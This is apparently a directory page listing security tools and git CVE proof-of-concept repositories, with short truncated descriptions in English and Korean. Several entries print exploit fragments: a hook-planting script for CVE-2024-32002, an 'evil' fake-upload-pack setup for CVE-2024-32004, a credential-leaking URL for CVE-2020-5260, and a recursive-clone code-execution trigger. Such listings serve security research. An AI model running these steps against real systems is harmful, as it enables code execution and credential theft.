cloudmapper

CloudMapper Note the Network Visualization functionality command prepare is no longer maintained. CloudMapper helps you analyze your Amazon Web Services AWS environments. The original purpose was to generate network diagrams and display them in your browser functionality no longer maintained. It...

psbug-host

psbug-host Open the host: https://sliptripfalldown.github...

clone-cert

clone-cert.sh This is a simple shell script that retrieves the X.509 certificate associated with a TLS wrapped TCP port and uses openssl to create a similar certificate by replacing the public key and fixing the signature. This is particularly useful if you want to demonstrate why self-signed...

bad_ducky

Bad Ducky Summary Bad Ducky is yet another Rubber Ducky clone. It is based on CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo clone board with onboard card reader, which you can buy on ebay or aliexpress. My goal was to create something compatible with Rubber Ducky scripts, while having ability to...

sparrow-wifi

Sparrow-WiFi Sparrow-WiFi is a 2.4 GHz and 5 GHz WiFi and Bluetooth spectral awareness tool for Linux. It integrates WiFi scanning, Bluetooth Low Energy and Classic discovery, software-defined radio spectrum analysis HackRF, Ubertooth, GPS tracking, FAA RemoteID drone detection, drone/rover-mount...

nfcgate

NFCGate ⚠️NFCGate is currently being falsely detected as "NGate" malware. Please seethis issue for up-to-date information.⚠️ NFCGate is an Android application meant to capture, analyze, or modify NFC traffic. It can be used as a researching tool to reverse engineer protocols or assess the security...

CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

antisquat

AntiSquat AntiSquat leverages AI techniques such as natural language processing NLP, large language models ChatGPT and more to empower detection of typosquatting and phishing domains. How to use Clone the project via git clone https://github.com/redhuntlabs/antisquat. Install all dependencies by...

CVE-2024-32002

CVE-2024-32002 CVE-2024-32002를 기반으로 한 간단한 익스플로잇 스크립트입니다. 사용 방법 먼저, GitHub 또는 GitLab에 빈 저장소 2개를 생성합니다. 그다음, 이 스크립트를 git clone하고 실행합니다. 마지막으로: git clone –recursive repo2를 실행하여 자동 RCE를 수행합니다...

CVE-2026-43503

🚨 CVE-2026-43503 — DirtyClone 공유 메모리가 안전하게 공유되는 것을 멈출 때. 로컬 권한 상승 취약점으로, 이는 SKBFLSHAREDFRAG 플래그가 Linux 네트워킹 스택 내에서 부적절하게 전파되어 발생합니다. 📖 개요 CVE-2026-43503 별칭 DirtyClone는 Linux 커널 네트워킹 서브시스템에 영향을 미치는 높은 심각도의 로컬 권한 상승LPE 취약점입니다. 이 취약점은 여러 소켓 버퍼SKB 프래그먼트 복사 루틴이 패킷 프래그먼트를 복제하거나 전송할 때 SKBFLSHAREDFRAG 플래...

subdomain3

Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...

rdpy

RDPY Remote Desktop Protocol in twisted python. RDPY is a pure Python implementation of the Microsoft RDP Remote Desktop Protocol protocol client and server side. RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA...

CVE-2024-32002

CVE-2024-32002 버전 1.0.0 이 버전은 인증된 사용자가 있고 영향을 받는 git 버전 2.45.0이 있는 원격 대상에서만 작동합니다. 이 취약점은 다음 버전의 Git에 영향을 미칩니다: 2.45.0 개념 증명 POC는 git clone 명령을 통해 RCE원격 명령 실행를 트리거할 수 있으며, 이는 심볼릭 링크를 따르는 git 서브모듈의 특정 취약한 사용을 통해 이루어지므로, 올바르게 작동하려면 core.symlinks가 true로 설정된 컨텍스트가 필요합니다. 참고: 이는 git config --global...

powercat

powercat Netcat: 파워셸 버전. 파워셸 버전 2 이상 지원 설치 powercat은 파워셸 함수입니다. 먼저 함수를 로드한 후에 실행할 수 있습니다. 아래 명령어 중 하나를 파워셸 프로필에 추가하면 파워셸 시작 시 powercat이 자동으로 로드됩니다. Load The Function From Downloaded .ps1 File: . .\powercat.ps1 Load The Function From URL: IEX New-Object...

CVE-2025-48384-POC

To trigger, do git clone --recursive https://github.com/fishyyh/CVE-2025-48384-POC.git on a vulnerable git version and you'll find a /tmp/sectest file suddenly appearing...

smuggler

/ | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to Ben Sadeghipour...

CVE-2024-32004

tmp 저장소를 생성하고 uploadpack.allowfilter를 true로 설정 git init tmp git -C tmp config uploadpack.allowfilter 1 tmp 저장소에서 evil 복제 git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp 원격 필터 스크립트 구성 git -C evil config remote.origin.uploadpack "./fake-upload-pack" 악성 스크립트 실행 git pull...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 데모 기록 git은 'git clone https://example.com'과 같은 명령을 실행할 때, 프로토콜 'https'를 사용하여 호스트 'example.com'의 자격 증명을 저장하도록 요청하고, 원격 측에서 인증을 요청할 때 반환된 자격 증명을 발신 요청에 첨부합니다. git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 참고 링크:...

trajan

Trajan: CI/CD Security Scanner Trajan scans CI/CD pipelines for security vulnerabilities that attackers use to compromise software supply chains. It supports GitHub Actions, GitLab CI, Azure DevOps, Jenkins, and JFrog. What it does Trajan parses workflow YAML files, builds dependency graphs, runs...

dbd

d8888b. d8888b. d8888b. 88 8D 88 8D 88 8D 88 88 88oooY' 88 88 88 88 88b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D' Durandal's Backdoor 저작권 C 2013 Kyle Barnthouse [email protected] dbd는 GNU GPL에 따라 배포됩니다 Mipsbe 바이너리는 Darkerego https://github.com/darkerego mailto:[email protected]...